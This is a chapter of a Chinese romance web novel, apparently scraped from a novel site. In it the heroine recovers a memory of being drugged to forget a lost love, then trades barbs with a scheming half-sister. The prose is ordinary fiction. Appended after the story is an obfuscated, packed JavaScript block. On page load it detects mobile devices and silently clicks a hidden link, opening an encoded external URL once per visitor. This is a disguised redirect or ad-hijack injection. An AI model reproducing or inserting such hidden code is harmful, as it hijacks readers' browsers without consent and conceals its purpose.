第五文学网 > 言情小说 > 妃常圆满 > 第一百四十八章 和心机婊共度的夜晚

第一百四十八章 和心机婊共度的夜晚

    夜晚的凉风吹入窗子,花月满懒洋洋的趴在床榻上眯着眼睛,舒舒服服享受着七巧的按摩。

    七巧手不闲着,眼睛也不闲着,不停的打量着屋子的四周,一张小嘴忍不住惊叹:“娘娘,咱这算是一人得道,鸡犬升天么?”

    花月满虽然不想承认,却不得不承认,她和七巧确实靠着刘默升天了。

    也难怪七巧要惊叹,那晴天门口生灰,雨天门口成河的偏院,和眼下这风景秀丽的柳园确实没有可比性。

    “不过娘娘……”七巧拧了拧眉,“为啥放着好好的院子不让人住,难道就不怕闲出鬼来么?”

    花月满总是对七巧的十万个为什么很是头疼,起身推着七巧朝着门口走去:“天色不早了,你也早些去睡吧。”

    “娘娘,这西北风晚上凉得很,您记得关上窗子再睡。”七巧站在门口,不放心的喊着,“不然第二天会头疼的。”

    花月满却在关上房门的同时,转身靠在了门板上。

    其实她更不想解释是,当初花锦庭那铁公鸡之所以忍痛出银子的建造柳园,完全是因为那个时候她还是司慕冉的三皇子妃。

    想起那个温润如玉的男子,她不由得苦笑,怪不得她会在失忆的时候喜欢上他,原来就算她忘记了他,也忘不掉曾经那种相知的感觉。

    只是……

    忘不掉又如何?一见倾心,再见陌路,他是瑶蓝的太子,她是祈天的太子妃,从此天涯两茫茫,就算忘不掉也不能再想起。

    深呼吸一口气,花月满直起身子朝着窗口走去,本是想要呼吸两口新鲜的空气,可当她的手触摸到微凉的窗棂时,脑袋翻江倒海的疼了起来。

    恍惚间,她看见了关和的房门被人打开,一个女子从门外慌慌张张的走了进来,她看不清楚那女子的容貌,但从那女子的走路姿势来看,她却觉得莫名熟悉。

    进门的女子反手关上房门,一步步朝着窗口这边走来,随着她的脚步越来越近,花月满不由得瞪大了眼睛。

    月色下,那女子着一件浅水蓝的裙,垂腰的长发以玉簪轻挽,肤若凝脂,眉似墨描,清亮含情的凌波目此刻却染着一抹急色。

    花月满不敢置信的捂着脑袋后退三步,眼看着那女子走到窗边,从一名黑衣人的手中接过了一封信,只感觉自己急速跳动的心脏快要跳出了嗓子眼。

    不是因为陌生,所以她才如此震惊,而是因为太过熟悉,所以她才觉得不可思议,只因这个女子不是别人,正是她自己!

    或者应该说……是几年前的她。

    为什么会这样?花月满忍着心里的无数疑问,慢慢朝着几年前的自己伸出了手,当她颤抖的五指穿过了那曾经的自己,她才恍然大悟。

    原来,她眼前看见的这景象,不过是她记忆里的影子罢了。

    原来,曾经的她竟在这屋子里如此焦急的等待过。

    可是,究竟是谁?值得让那个时候的她,如此心急又期盼的全心等待?

    她看见,曾经的自己慢慢合上了手上的书信,明明笑颜如花,却双眼含泪,将手中的书信慢慢伸向了静静燃烧着的蜡烛,眼看着那蔓延过书信的火焰灼伤了手指,也全然不为所动。

    那个刚刚在窗外送信的黑衣人,猛地蹿进了屋子,熄灭了烛台的同时,对着曾经的她轻声说道:“与祈天联婚已成定局,皇命不可为,太平郡主还是想开一些得好。”

    花月满看见,曾经的自己转身朝着黑衣人看去,泪水洗刷过后的眸子里,是那么的悲伤,那么的绝望,却唯独不见一丝恨意。

    她听见自己说:“好,我嫁就是了。”

    黑衣人似乎松了口气,但却并没有离开,而曾经的花月满却不打算理会黑衣人,转身朝着床榻走了去。

    然就在她转身的同时,那黑衣人猛地上前一步,一掌劈在了她的脖颈上,随着她的身子瘫软了下去,那黑衣人从怀里掏出了一个黑色的东西,塞进了她的嘴巴里。

    “忘记了,就不会痛苦了,太平郡主,珍重……”这是黑衣人临走前,留下的最后一句话。

    眼前的幻觉,随着那黑衣人的离开而全部消失,空空荡荡的屋子,向花月满证明着,刚刚她所闻所见的一切,真的只是一个她的回忆而已。

    只是,已经从回忆里抽身出来的她,却浑身颤抖,惊恐的几欲窒息。

    怪不得她好端端的会失忆,原来竟是在走之前被人提前下了药,只是那黑衣人是在帮谁效力?到底是谁想要抹去她的记忆?

    皇命不可为……

    难道死瑶蓝帝?疼痛渐逝的脑海里,忽然浮现出了一个满目精明算计的老者,花月满不由得捏紧了十指。

    没错,应该就是他了。

    她之所以会联婚,完全是为了替换司慕冉,瑶蓝帝也许是怕她中途反悔,所以提前派人给她下药,抹掉了她所有的记忆,一来能让联婚可以顺利进行,二来也可以彻底断了她和司慕冉之间的情意绵长。

    一石二鸟,一箭双雕,漂亮的谋算,好狠的心!

    怪不得司慕冉看见失忆的他,不但不惊讶反倒是隐瞒,毕竟伤害她的那个男人是他的父亲。

    “叩叩叩……”房门忽然被敲响,花月息的声音响起在了门外,“二姐姐可是睡下了?”

    花月满身心俱疲,正想假装睡着的不做声,却听花月息的声音再次响了起来:“妹妹知道二姐姐肯定是没睡,才刚丫鬟们还说,二姐姐这屋子里有说话的声音呢。”

    花月满先是一愣,随后了然的笑了。

    她忽然就想起了前些日子花月息给她送来的那三个丫鬟,怪不得如此的殷勤,原来是一早就打算好,扔在她这里当眼线。

    没想到孙清雅的深不可测,花锦庭的深不见底,竟基因突变出来一个如此深藏不露的心机婊。

    房门刚一打开,花月息便是一把拉住了花月满的手,迈步往屋子里走。

    “二姐姐肩膀上的伤可是还疼?都是妹妹我不小心。”她满眼心疼的拉着花月满坐在了床榻上,怎么看都是一副的愧疚难当。

    花月满面上挂着比她还要情深意重的笑意,但说出口的话却并不好听:“花月息,你有什么话就直截了当的说,省时省力,说完了麻烦在外面把门关上,谢谢。”

    语落,毫不将情面的抽回了自己被她紧握着的手。

    若是以前,她可能还会陪着花月息玩玩,就当是打发这无聊的光景了,但是现在,不好意思,她很累……

    花月息脸上的担忧僵了僵,不过很快又露出了委屈的神色:“妹妹知道二姐姐说的是气话,可妹妹是真的担心二姐姐啊!”

    “花月息,你知道什么叫做戏做全套么?”花月满笑的直截了当。

    “当初你姐姐在祈天装可怜骗我的时候,还知道帮我挡个巴掌啥的,可是你呢?只带着一张嘴就来了,你想要装可怜套近乎可以,但麻烦你能不能走点心?最起码带个药膏之类的?我真不明白是谁给你的勇气呢?让你两手空空的就敢巴巴的来演戏,你是觉得你演技太精湛不需要道具?还是拿谁当傻子呢?”

    花月息没想到她说翻脸就翻脸,一点余地都没有的开门见山,虽然面上有些难堪,但眼中的担忧也可怜之色也尽数的敛了起来。

    花月满察觉到了她的神色,更是不含糊:“趁着我还没关门送客,麻烦你有事赶紧说,说完了之后还是请你在外面把门关上,从此条条大道两边走,我过我的,你贱你的。”

    花月息冷冷的看着她,忽而又是笑了:“难道二姐姐就不应该谢谢我?二姐姐在下面连吃奶的力气都使了出来,才将赵婧琳的裙角系在了爹爹的裤腿上,要不是我今日出手,莫不是二姐姐当真想要掀了桌子,将赵婧琳的丑态公之于众?”

    花月满暗暗冷笑:“和着这么说,你一盆热汤的泼了我一身,我还要跟你说声谢谢?”

    花月息也笑:“二姐姐觉得呢?”

    “妹妹手痒就说手痒,可千万别拿我说事。”花月满站起身,笑着拍了拍花月息的肩膀,“谁说是我系的赵婧琳裙角?妹妹武平凭无证的断不可瞎说。”

    “你……”花月息一愣,要说证据,她确实是没有。

    花月满转个身子,悠哉哉的靠在桌子边:“不过我在桌子下和太子爷亲热倒是真的,既然妹妹也往桌子下面窥了,肯定是瞧见了太子爷那一条不老实的腿了吧?”

    不得不说,这个花月息果然有几分重量,藏得住心思,忍得住心绪,但花月满见缝插针,一针见血的手段也不是浪得虚名的。

    花月息精致的花容瞬间变白,经由花月满的‘好心’提醒,她确实想到了那桌子底下,刺着她眼睛的一幕。

    咬了咬唇,看着微笑怡然的花月满,忽然变了另一种口气:“其实无论是姿色还是心计,妹妹我可是要比赵婧琳强上太多,二姐姐不妨将妹妹带在身边,反正祈天太子爷早晚是要妻妾成群的,与其便宜了别人,还不如让妹妹占据一席,妹妹也会记得二姐姐的这个情分。”


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))